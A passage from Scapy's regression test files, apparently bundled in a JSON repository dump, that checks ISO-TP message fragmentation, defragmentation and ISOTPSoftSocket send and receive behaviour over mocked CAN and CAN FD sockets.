ISOTP message with extended addressing\nisotp = ISOTP(b\"abcdefghijklmnop\", rx_id=0x64f, rx_ext_address=ord('A'))\nfragments = isotp.fragment()\nassert len(fragments) == 3\nassert fragments[0].data == b\"A\\x10\\x10abcde\"\nassert fragments[1].data == b\"A\\x21fghijk\"\nassert fragments[2].data == b\"A\\x22lmnop\"\nassert fragments[0].identifier == 0x64f\nassert fragments[1].identifier == 0x64f\nassert fragments[2].identifier == 0x64f\n\n= Fragment a huge ISOTP message, 4997 bytes long\ndata = b\"T\" * 4997\nisotp = ISOTP(b\"T\" * 4997, rx_id=0x345)\nfragments = isotp.fragment()\nassert len(fragments) == 715\nassert fragments[0].data == dhex(\"10 00 00 00 13 85\") + b\"TT\"\nassert fragments[1].data == b\"\\x21TTTTTTT\"\nassert fragments[-2].data == b\"\\x29TTTTTTT\"\nassert fragments[-1].data == b\"\\x2ATTTT\"\n\n= Defragment a single-frame ISOTP message\nfragments = [CAN(identifier=0x641, data=b\"\\x04test\")]\nisotp = ISOTP.defragment(fragments)\nisotp.show()\nassert isotp.data == b\"test\"\nassert isotp.rx_id == 0x641\n\n= Defragment non ISOTP message\nfragments = [CAN(identifier=0x641, data=b\"\\xa4test\")]\nisotp = ISOTP.defragment(fragments)\nassert isotp is None\n\n= Defragment ISOTP message with warning\nfragments = [CAN(identifier=0x641, data=b\"\\x04test\"), CAN(identifier=0x642, data=b\"\\x04test\")]\nisotp = ISOTP.defragment(fragments)\nassert isotp.data == b\"test\"\nassert isotp.rx_id == 0x641\n\n= Defragment exception\nfragments = []\nex = False\ntry:\n    isotp = ISOTP.defragment(fragments)\n    isotp.show()\nexcept Scapy_Exception:\n    ex = True\n\nassert ex\n\n= Defragment an ISOTP message composed of multiple CAN frames\nfragments = [\n    CAN(identifier=0x641, data=dhex(\"41 10 10 61 62 63 64 65\")),\n    CAN(identifier=0x641, data=dhex(\"41 21 66 67 68 69 6A 6B\")),\n    CAN(identifier=0x641, data=dhex(\"41 22 6C 6D 6E 6F 70 00\"))\n]\nisotp = ISOTP.defragment(fragments)\nisotp.show()\nassert isotp.data == dhex(\"61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70\")\nassert isotp.rx_id == 0x641\nassert isotp.rx_ext_address == 0x41\n\n= Check if fragmenting a message and defragmenting it back yields the original message\nisotp1 = ISOTP(b\"abcdef\", rx_ext_address=ord('A'))\nfragments = isotp1.fragment()\nisotp2 = ISOTP.defragment(fragments)\nisotp2.show()\nassert isotp1 == isotp2\n\nisotp1 = ISOTP(b\"abcdefghijklmnop\")\nfragments = isotp1.fragment()\nisotp2 = ISOTP.defragment(fragments)\nisotp2.show()\nassert isotp1 == isotp2\n\nisotp1 = ISOTP(b\"abcdefghijklmnop\", rx_ext_address=ord('A'))\nfragments = isotp1.fragment()\nisotp2 = ISOTP.defragment(fragments)\nisotp2.show()\nassert isotp1 == isotp2\n\nisotp1 = ISOTP(b\"T\"*5000, rx_ext_address=ord('A'))\nfragments = isotp1.fragment()\nisotp2 = ISOTP.defragment(fragments)\nisotp2.show()\nassert isotp1 == isotp2\n\n= Defragment an ambiguous CAN frame\nfragments = [CAN(identifier=0x641, data=dhex(\"02 01 AA\"))]\nisotp = ISOTP.defragment(fragments, False)\nisotp.show()\nassert isotp.data == dhex(\"01 AA\")\nassert isotp.rx_ext_address == None\nisotpex = ISOTP.defragment(fragments, True)\nisotpex.show()\nassert isotpex.data == dhex(\"AA\")\nassert isotpex.rx_ext_address == 0x02\n\n= Build ISOTP_FF_FD\n\npkt = ISOTP_FF_FD(message_size=0xffff0000)\nassert bytes(pkt) == bytes.fromhex(\"1000ffff0000\")\n\n= Build ISOTP_SF_FD\n\npkt = ISOTP_SF_FD(message_size=0xff)\nassert bytes(pkt) == bytes.fromhex(\"00ff\")\n\n= Build ISOTP_FF_FD 2\n\npkt = ISOTPHeaderEA_FD(identifier=0x7ff, extended_address=0xaf)/ISOTP_FF_FD(message_size=0xffff0000)\nassert bytes(pkt) == bytes.fromhex(\"000007ff 07 04 00 00 af 1000ffff0000\")\n\n= Build ISOTP_SF_FD 2\n\npkt = ISOTPHeaderEA_FD(identifier=0x7ff, extended_address=0xaf)/ISOTP_SF_FD(message_size=0xff)\nassert bytes(pkt) == bytes.fromhex(\"000007ff 03 04 00 00 af 00ff\")\n\n= Build ISOTP_FF_FD 3\n\npkt = ISOTPHeader_FD(identifier=0x7ff)/ISOTP_FF_FD(message_size=0xffff0000)\nassert bytes(pkt) == bytes.fromhex(\"000007ff 06 04 00 00 1000ffff0000\")\n\n= Build ISOTP_SF_FD 3\n\npkt = ISOTPHeader_FD(identifier=0x7ff)/ISOTP_SF_FD(message_size=0xff)\nassert bytes(pkt) == bytes.fromhex(\"000007ff 02 04 00 00 00ff\")\n\n= Dissect ISOTPFD 1\npkt = ISOTPHeaderEA_FD(bytes.fromhex(\"000007ff 07 04 00 00 af 1000ffff0000\"))\npkt.show()\nsub_pkt = pkt[ISOTP_FF_FD]\nassert pkt.identifier == 0x7ff\nassert pkt.length == 0x7\nassert pkt.fd_flags == 0x4\nassert pkt.extended_address == 0xaf\nassert sub_pkt.message_size == 0xffff0000\n\n= Dissect ISOTPFD 2\npkt = ISOTPHeaderEA_FD(bytes.fromhex(\"000007ff 07 04 00 00 af 00ff00000000\"))\npkt.show()\nsub_pkt = pkt[ISOTP_SF_FD]\nassert pkt.identifier == 0x7ff\nassert pkt.length == 0x7\nassert pkt.fd_flags == 0x4\nassert pkt.extended_address == 0xaf\nassert sub_pkt.message_size == 0xff\n\n= Dissect ISOTPFD 3\npkt = ISOTPHeader_FD(bytes.fromhex(\"000007ff 06 04 00 00 1000ffff0000\"))\npkt.show()\nsub_pkt = pkt[ISOTP_FF_FD]\nassert pkt.identifier == 0x7ff\nassert pkt.length == 0x6\nassert pkt.fd_flags == 0x4\nassert sub_pkt.message_size == 0xffff0000\n\n= Dissect ISOTPFD 4\npkt = ISOTPHeader_FD(bytes.fromhex(\"000007ff 06 04 00 00 00ff00000000\"))\npkt.show()\nsub_pkt = pkt[ISOTP_SF_FD]\nassert pkt.identifier == 0x7ff\nassert pkt.length == 0x6\nassert pkt.fd_flags == 0x4\nassert sub_pkt.message_size == 0xff"
  },
  {
    "path": "test/contrib/isotp_soft_socket.uts",
    "content": "% Regression tests for ISOTPSoftSocket\n~ automotive_comm\n\n+ Configuration\n~ conf\n\n= Imports\nimport time\nfrom io import BytesIO\nfrom scapy.layers.can import *\nfrom scapy.contrib.isotp import *\nfrom scapy.contrib.isotp.isotp_soft_socket import TimeoutScheduler\nfrom test.testsocket import TestSocket, SlowTestSocket, cleanup_testsockets\nwith open(scapy_path(\"test/contrib/automotive/interface_mockup.py\")) as f:\n    exec(f.read())\n\n= Redirect logging\nimport logging\nfrom scapy.error import log_runtime\n\nfrom io import StringIO\n\nlog_stream = StringIO()\nhandler = logging.StreamHandler(log_stream)\nlog_runtime.addHandler(handler)\nlog_isotp.addHandler(handler)\n\n= Definition of utility functions\n\n# hexadecimal to bytes convenience function\ndhex = bytes.fromhex\n\n\n+ Test sniffer\n= Test sniffer with multiple frames\n\ntest_frames = [\n    (0x241, \"EA 10 28 01 02 03 04 05\"),\n    (0x641, \"EA 30 03 00\"            ),\n    (0x241, \"EA 21 06 07 08 09 0A 0B\"),\n    (0x241, \"EA 22 0C 0D 0E 0F 10 11\"),\n    (0x241, \"EA 23 12 13 14 15 16 17\"),\n    (0x641, \"EA 30 03 00\"            ),\n    (0x241, \"EA 24 18 19 1A 1B 1C 1D\"),\n    (0x241, \"EA 25 1E 1F 20 21 22 23\"),\n    (0x241, \"EA 26 24 25 26 27 28\"   ),\n]\n\nwith TestSocket(CAN) as s, TestSocket(CAN) as tx_sock:\n    s.pair(tx_sock)\n    for f in test_frames:\n        tx_sock.send(CAN(identifier=f[0], data=dhex(f[1])))\n    sniffed = sniff(opened_socket=s, session=ISOTPSession, timeout=1, count=1)\n\nassert sniffed[0]['ISOTP'].data == bytearray(range(1, 0x29))\nassert sniffed[0]['ISOTP'].tx_id == 0x641\nassert sniffed[0]['ISOTP'].ext_address == 0xEA\nassert sniffed[0]['ISOTP'].rx_id == 0x241\nassert sniffed[0]['ISOTP'].rx_ext_address == 0xEA\n\n+ ISOTPSoftSocket tests\n\n= CAN socket FD\n~ not_pypy needs_root linux vcan_socket\n\nwith ISOTPSoftSocket(iface0, tx_id=0x641, rx_id=0x241, fd=True) as s:\n    assert s.impl.can_socket.fd == True\n\n= CAN socket non-FD\n~ not_pypy needs_root linux vcan_socket\n\nwith ISOTPSoftSocket(iface0, tx_id=0x641, rx_id=0x241) as s:\n    assert s.impl.can_socket.fd == False\n\n= Single-frame receive\n\nwith TestSocket(CAN) as cans, TestSocket(CAN) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241) as s:\n    cans.pair(stim)\n    stim.send(CAN(identifier=0x241, data=dhex(\"05 01 02 03 04 05\")))\n    pkts = s.sniff(count=1, timeout=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    msg = pkts[0]\n    assert msg.data == dhex(\"01 02 03 04 05\")\n\n= Single-frame receive FD\n\nwith TestSocket(CANFD) as cans, TestSocket(CANFD) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241, fd=True) as s:\n    pl_sizes_testings = [1, 5, 7, 8, 15, 20, 35, 40, 46, 62]\n    data_str = \"\"\n    data_str_offset = 0\n    cans.pair(stim)\n    for size_to_send in pl_sizes_testings:\n        if size_to_send > 7:\n            data_str = \"00 {} {}\".format(\"%02X\" % size_to_send, \" \".join([\"%02X\" % x for x in range(size_to_send)]))\n            data_str_offset = 6\n        else:\n            data_str = \"{} {}\".format(\"%02X\" % size_to_send, \" \".join([\"%02X\" % x for x in range(size_to_send)]))\n            data_str_offset = 2\n        stim.send(CANFD(identifier=0x241, data=dhex(data_str)))\n        pkts = s.sniff(count=1, timeout=1)\n        if not len(pkts):\n            s.failure_analysis()\n            raise Scapy_Exception(\"ERROR\")\n        msg = pkts[0]\n        assert msg.data == dhex(data_str[data_str_offset:])\n\n= Single-frame send\n\nwith TestSocket(CAN) as cans, TestSocket(CAN) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241) as s:\n    cans.pair(stim)\n    s.send(ISOTP(dhex(\"01 02 03 04 05\")))\n    pkts = stim.sniff(count=1, timeout=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    msg = pkts[0]\n    assert msg.data == dhex(\"05 01 02 03 04 05\")\n\n= Single-frame send FD\n\nwith TestSocket(CANFD) as cans, TestSocket(CANFD) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241, fd=True) as s:\n    pl_sizes_testings = [1, 5, 7, 8, 15, 20, 35, 40, 46, 62]\n    data_str = \"\"\n    data_str_offset = 0\n    cans.pair(stim)\n    for size_to_send in pl_sizes_testings:\n        if size_to_send > 7:\n            data_str = \"00 {} {}\".format(\"%02X\" % size_to_send, \" \".join([\"%02X\" % x for x in range(size_to_send)]))\n            data_str_offset = 6\n        else:\n            data_str = \"{} {}\".format(\"%02X\" % size_to_send, \" \".join([\"%02X\" % x for x in range(size_to_send)]))\n            data_str_offset = 2\n        s.send(ISOTP(dhex(data_str[data_str_offset:])))\n        pkts = stim.sniff(count=1, timeout=1)\n        if not len(pkts):\n            s.failure_analysis()\n            raise Scapy_Exception(\"ERROR\")\n        msg = pkts[0]\n        assert dhex(data_str) in msg.data\n\n= Two frame receive\n\nwith TestSocket(CAN) as cans, TestSocket(CAN) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241) as s:\n    cans.pair(stim)\n    stim.send(CAN(identifier=0x241, data=dhex(\"10 09 01 02 03 04 05 06\")))\n    pkts = stim.sniff(count=1, timeout=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    c = pkts[0]\n    assert (c.data == dhex(\"30 00 00\"))\n    stim.send(CAN(identifier=0x241, data=dhex(\"21 07 08 09 00 00 00 00\")))\n    pkts = s.sniff(count=1, timeout=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    msg = pkts[0]\n    assert msg.data == dhex(\"01 02 03 04 05 06 07 08 09\")\n\n\n= Two frame receive FD\n\nwith TestSocket(CANFD) as cans, TestSocket(CANFD) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241, fd=True) as s:\n    cans.pair(stim)\n    stim.send(CANFD(identifier=0x241, data=dhex(\"10 09 01 02 03 04 05 06 07 08 09 0A 0B\")))\n    pkts = stim.sniff(count=1, timeout=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    c = pkts[0]\n    assert (c.data == dhex(\"30 00 00\"))\n    stim.send(CANFD(identifier=0x241, data=dhex(\"21 07 08 09 00 00 00 00\")))\n    pkts = s.sniff(count=1, timeout=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    msg = pkts[0]\n    assert msg.data == dhex(\"01 02 03 04 05 06 07 08 09\")\n\n\n= 20000 bytes receive\n\ndef test():\n    with TestSocket(CAN) as cans, TestSocket(CAN) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241) as s:\n        cans.pair(stim)\n        data = dhex(\"01 02 03 04 05\") * 4000\n        cf = ISOTP(data, rx_id=0x241).fragment()\n        ff = cf.pop(0)\n        cs = stim.sniff(count=1, timeout=3, started_callback=lambda: stim.send(ff))\n        assert len(cs)\n        c = cs[0]\n        assert (c.data == dhex(\"30 00 00\"))\n        for f in cf:\n            _ = stim.send(f)\n        msgs = s.sniff(count=1, timeout=30)\n        print(msgs)\n        msg = msgs[0]\n        assert msg.data == data\n\ntest()\n\n= 20000 bytes send\n\ndef test():\n    with TestSocket(CAN) as cans, TestSocket(CAN) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241) as s:\n        cans.pair(stim)\n        data = dhex(\"01 02 03 04 05\")*4000\n        msg = ISOTP(data, rx_id=0x641)\n        fragments = msg.fragment()\n        ack = CAN(identifier=0x241, data=dhex(\"30 00 00\"))\n        ff = stim.sniff(timeout=1, count=1,\n                        started_callback=lambda:s.send(msg))\n        assert len(ff) == 1\n        cfs = stim.sniff(timeout=20, count=len(fragments) - 1,\n                         started_callback=lambda: stim.send(ack))\n        for fragment, cf in zip(fragments, ff + cfs):\n            assert (bytes(fragment) == bytes(cf))\n\ntest()\n\n= 20000 bytes send FD\n\ndef testfd():\n    with TestSocket(CANFD) as cans, TestSocket(CANFD) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241, fd=True) as s:\n        cans.pair(stim)\n        data = dhex(\"01 02 03 04 05\")*4006\n        msg = ISOTP(data, rx_id=0x641)\n        fragments = msg.fragment(fd=True)\n        ack = CANFD(identifier=0x241, data=dhex(\"30 00 00\"))\n        ff = stim.sniff(timeout=1, count=1,\n                        started_callback=lambda:s.send(msg))\n        assert len(ff) == 1\n        cfs = stim.sniff(timeout=20, count=len(fragments) - 1,\n                         started_callback=lambda: stim.send(ack))\n        for fragment, cf in zip(fragments, ff + cfs):\n            print(bytes(fragment), bytes(cf))\n            assert (bytes(fragment) in bytes(cf))\n\ntestfd()\n\n= Close ISOTPSoftSocket\n\nwith TestSocket(CAN) as cans, TestSocket(CAN) as stim, ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241) as s:\n    cans.pair(stim)\n    s.close()\n    s = None\n\n= Test on_recv function with single frame\nwith ISOTPSoftSocket(TestSocket(CAN), tx_id=0x641, rx_id=0x241) as s:\n    s.ins.on_recv(CAN(identifier=0x241, data=dhex(\"05 01 02 03 04 05\")))\n    msg, ts = s.ins.rx_queue.recv()\n    assert msg == dhex(\"01 02 03 04 05\")\n\n= Test on_recv function with single frame FD\nwith ISOTPSoftSocket(TestSocket(CANFD), tx_id=0x641, rx_id=0x241, fd=True) as s:\n    pl_sizes_testings = [1, 5, 7, 8, 15, 20, 35, 40, 46, 62]\n    data_str = \"\"\n    data_str_offset = 0\n    for size_to_send in pl_sizes_testings:\n        if size_to_send > 7:\n            data_str = \"00 {} {}\".format(\"%02X\" % size_to_send, \" \".join([\"%02X\" % x for x in range(size_to_send)]))\n            data_str_offset = 6\n        else:\n            data_str = \"{} {}\".format(\"%02X\" % size_to_send, \" \".join([\"%02X\" % x for x in range(size_to_send)]))\n            data_str_offset = 2\n        s.ins.on_recv(CANFD(identifier=0x241, data=dhex(data_str)))\n        msg, ts = s.ins.rx_queue.recv()\n        assert msg == dhex(data_str[data_str_offset:])\n\n= Test on_recv function with empty frame\nwith ISOTPSoftSocket(TestSocket(CAN), tx_id=0x641, rx_id=0x241) as s:\n    s.ins.on_recv(CAN(identifier=0x241, data=b\"\"))\n    assert s.ins.rx_queue.empty()\n\n= Test on_recv function with single frame and extended addressing\nwith ISOTPSoftSocket(TestSocket(CAN), tx_id=0x641, rx_id=0x241, rx_ext_address=0xea) as s:\n    cf = CAN(identifier=0x241, data=dhex(\"EA 05 01 02 03 04 05\"))\n    s.ins.on_recv(cf)\n    msg, ts = s.ins.rx_queue.recv()\n    assert msg == dhex(\"01 02 03 04 05\")\n    assert ts == cf.time\n\n\n= Test on_recv function with single frame and extended addressing FD\nwith ISOTPSoftSocket(TestSocket(CANFD), tx_id=0x641, rx_id=0x241, rx_ext_address=0xea, fd=True) as s:\n    pl_sizes_testings = [1, 5, 7, 8, 15, 20, 35, 40, 46, 62]\n    data_str = \"\"\n    data_str_offset = 0\n    for size_to_send in pl_sizes_testings:\n        if size_to_send > 7:\n            data_str = \"EA 00 {} {}\".format(\"%02X\" % size_to_send, \" \".join([\"%02X\" % x for x in range(size_to_send)]))\n            data_str_offset = 8\n        else:\n            data_str = \"EA {} {}\".format(\"%02X\" % size_to_send, \" \".join([\"%02X\" % x for x in range(size_to_send)]))\n            data_str_offset = 5\n        cf = CANFD(identifier=0x241, data=dhex(data_str))\n        s.ins.on_recv(cf)\n        msg, ts = s.ins.rx_queue.recv()\n        assert msg == dhex(data_str[data_str_offset:])\n        assert ts == cf.time\n\n= CF is sent when first frame is received\ncans = TestSocket(CAN)\ncan_out = TestSocket(CAN)\ncans.pair(can_out)\nwith ISOTPSoftSocket(cans, tx_id=0x641, rx_id=0x241) as s:\n    s.ins.on_recv(CAN(identifier=0x241, data=dhex(\"10 20 01 02 03 04 05 06\")))\n    can = can_out.sniff(timeout=1, count=1)[0]\n    assert can.identifier == 0x641\n    assert can.data == dhex(\"30 00 00\")\n\ncans.close()\ncan_out.close()\n\n+ Testing ISOTPSoftSocket with an actual CAN socket\n\n= Verify that packets are not lost if they arrive before the sniff() is called\nwith TestSocket(CAN) as ss, TestSocket(CAN) as sr:\n    ss.pair(sr)\n    tx_func = lambda: ss.send(CAN(identifier=0x111, data=b\"\\x01\\x23\\x45\\x67\"))\n    p = sr.sniff(count=1, timeout=0.2, started_callback=tx_func)\n    assert len(p)==1\n    tx_func = lambda: ss.send(CAN(identifier=0x111, data=b\"\\x89\\xab\\xcd\\xef\"))\n    p = sr.sniff(count=1, timeout=0.2, started_callback=tx_func)\n    assert len(p)==1\n\n= Send single frame ISOTP message, using send\nwith TestSocket(CAN) as isocan, \\\n        ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, \\\n        TestSocket(CAN) as cans:\n    cans.pair(isocan)\n    can = cans.sniff(timeout=2, count=1, started_callback=lambda: s.send(ISOTP(data=dhex(\"01 02 03 04 05\"))))\n    assert can[0].identifier == 0x641\n    assert can[0].data == dhex(\"05 01 02 03 04 05\")\n\n= Send many single frame ISOTP messages, using send\n\nwith TestSocket(CAN) as isocan, \\\n        ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, \\\n        TestSocket(CAN) as cans:\n    cans.pair(isocan)\n    for i in range(100):\n        data = dhex(\"01 02 03 04 05\") + struct.pack(\"B\", i)\n        expected = struct.pack(\"B\", len(data)) + data\n        can = cans.sniff(timeout=4, count=1, started_callback=lambda: s.send(ISOTP(data=data)))\n        assert can[0].identifier == 0x641\n        print(can[0].data, data)\n        assert can[0].data == expected\n\n\n= Send two-frame ISOTP message, using send\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans:\n    cans.pair(isocan)\n    can = cans.sniff(timeout=1, count=1, started_callback=lambda: s.send(ISOTP(data=dhex(\"01 02 03 04 05 06 07 08\"))))\n    assert can[0].identifier == 0x641\n    assert can[0].data == dhex(\"10 08 01 02 03 04 05 06\")\n    can = cans.sniff(timeout=1, count=1, started_callback=lambda: cans.send(CAN(identifier = 0x241, data=dhex(\"30 00 00\"))))\n    assert can[0].identifier == 0x641\n    assert can[0].data == dhex(\"21 07 08\")\n\n= Send two-frame ISOTP message, using send FD\nwith TestSocket(CANFD) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, fd=True) as s, TestSocket(CANFD) as cans:\n    size_to_send = 100\n    max_pl_size = 62\n    data_str = \"{}\".format(\" \".join([\"%02X\" % x for x in range(size_to_send)]))\n    cans.pair(isocan)\n    can = cans.sniff(timeout=1, count=1, started_callback=lambda: s.send(dhex(data_str)))\n    assert can[0].identifier == 0x641\n    assert can[0].data == dhex(\"10 {} {}\".format(\"%02X\" % size_to_send, \" \".join([\"%02X\" % x for x in range(max_pl_size)])))\n    can = cans.sniff(timeout=1, count=1, started_callback=lambda: cans.send(CANFD(identifier = 0x241, data=dhex(\"30 00 00\"))))\n    assert can[0].identifier == 0x641\n    assert dhex(\"21 {}\".format(\" \".join([\"%02X\" % x for x in range(max_pl_size, size_to_send)]))) in can[0].data\n\n= Send single frame ISOTP message\nwith TestSocket(CAN) as cans, TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s:\n    cans.pair(isocan)\n    s.send(ISOTP(data=dhex(\"01 02 03 04 05\")))\n    can = cans.sniff(timeout=1, count=1)\n    assert can[0].identifier == 0x641\n    assert can[0].data == dhex(\"05 01 02 03 04 05\")\n\n\n= Send two-frame ISOTP message\n\nacks = TestSocket(CAN)\n\nacker_ready = threading.Event()\ndef acker():\n    acker_ready.set()\n    can_pkt = acks.sniff(timeout=1, count=1)\n    can = can_pkt[0]\n    acks.send(CAN(identifier = 0x241, data=dhex(\"30 00 00\")))\n\nthread = Thread(target=acker)\nthread.start()\nacker_ready.wait(timeout=5)\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans:\n    cans.pair(isocan)\n    cans.pair(acks)\n    isocan.pair(acks)\n    s.send(ISOTP(data=dhex(\"01 02 03 04 05 06 07 08\")))\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x641\n    assert can.data == dhex(\"10 08 01 02 03 04 05 06\")\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x241\n    assert can.data == dhex(\"30 00 00\")\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x641\n    assert can.data == dhex(\"21 07 08\")\n\nthread.join(15)\nacks.close()\nassert not thread.is_alive()\n\n= Send two-frame ISOTP message FD\n\nacks = TestSocket(CANFD)\n\nacker_ready = threading.Event()\ndef acker():\n    acker_ready.set()\n    can_pkt = acks.sniff(timeout=1, count=1)\n    can = can_pkt[0]\n    acks.send(CANFD(identifier = 0x241, data=dhex(\"30 00 00\")))\n\nthread = Thread(target=acker)\nthread.start()\nacker_ready.wait(timeout=5)\nwith TestSocket(CANFD) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, fd=True) as s, TestSocket(CANFD) as cans:\n    size_to_send = 123\n    max_pl_size = 62\n    data_str = \"{}\".format(\" \".join([\"%02X\" % x for x in range(size_to_send)]))\n    cans.pair(isocan)\n    cans.pair(acks)\n    isocan.pair(acks)\n    s.send(dhex(data_str))\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x641\n    assert can.data == dhex(\"10 {} {}\".format(\"%02X\" % size_to_send, \" \".join([\"%02X\" % x for x in range(max_pl_size)])))\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x241\n    assert can.data == dhex(\"30 00 00\")\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x641\n    assert dhex(\"21 {}\".format(\" \".join([\"%02X\" % x for x in range(max_pl_size, size_to_send)]))) in can.data\n\nthread.join(15)\nacks.close()\nassert not thread.is_alive()\n\n= Send two-frame ISOTP message with bs\n\nacks = TestSocket(CAN)\nacker_ready = threading.Event()\ndef acker():\n    acker_ready.set()\n    can_pkt = acks.sniff(timeout=1, count=1)\n    acks.send(CAN(identifier = 0x241, data=dhex(\"30 20 00\")))\n\nthread = Thread(target=acker)\nthread.start()\nacker_ready.wait(timeout=5)\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans:\n    cans.pair(isocan)\n    cans.pair(acks)\n    isocan.pair(acks)\n    s.send(ISOTP(data=dhex(\"01 02 03 04 05 06 07 08\")))\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x641\n    assert can.data == dhex(\"10 08 01 02 03 04 05 06\")\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x241\n    assert can.data == dhex(\"30 20 00\")\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x641\n    assert can.data == dhex(\"21 07 08\")\n\nthread.join(15)\nacks.close()\nassert not thread.is_alive()\n\n= Send two-frame ISOTP message with bs FD\n\nacks = TestSocket(CANFD)\nacker_ready = threading.Event()\ndef acker():\n    acker_ready.set()\n    can_pkt = acks.sniff(timeout=1, count=1)\n    acks.send(CANFD(identifier = 0x241, data=dhex(\"30 20 00\")))\n\nthread = Thread(target=acker)\nthread.start()\nacker_ready.wait(timeout=5)\nwith TestSocket(CANFD) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, fd=True) as s, TestSocket(CANFD) as cans:\n    size_to_send = 124\n    max_pl_size = 62\n    data_str = \"{}\".format(\" \".join([\"%02X\" % x for x in range(size_to_send)]))\n    cans.pair(isocan)\n    cans.pair(acks)\n    isocan.pair(acks)\n    s.send(ISOTP(data=dhex(data_str)))\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x641\n    assert can.data == dhex(\"10 {} {}\".format(\"%02X\" % size_to_send, \" \".join([\"%02X\" % x for x in range(max_pl_size)])))\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x241\n    assert can.data == dhex(\"30 20 00\")\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x641\n    assert dhex(\"21 {}\".format(\" \".join([\"%02X\" % x for x in range(max_pl_size, size_to_send)]))) in can.data\n\nthread.join(15)\nacks.close()\nassert not thread.is_alive()\n\n= Send two-frame ISOTP message with ST\nacks = TestSocket(CAN)\nacker_ready = threading.Event()\ndef acker():\n    acker_ready.set()\n    acks.sniff(timeout=1, count=1)\n    acks.send(CAN(identifier = 0x241, data=dhex(\"30 00 10\")))\n\nthread = Thread(target=acker)\nthread.start()\nacker_ready.wait(timeout=5)\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241) as s, TestSocket(CAN) as cans:\n    cans.pair(isocan)\n    cans.pair(acks)\n    isocan.pair(acks)\n    s.send(ISOTP(data=dhex(\"01 02 03 04 05 06 07 08\")))\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x641\n    assert can.data == dhex(\"10 08 01 02 03 04 05 06\")\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x241\n    assert can.data == dhex(\"30 00 10\")\n    pkts = cans.sniff(timeout=1, count=1)\n    if not len(pkts):\n        s.failure_analysis()\n        raise Scapy_Exception(\"ERROR\")\n    can = pkts[0]\n    assert can.identifier == 0x641\n    assert can.data == dhex(\"21 07 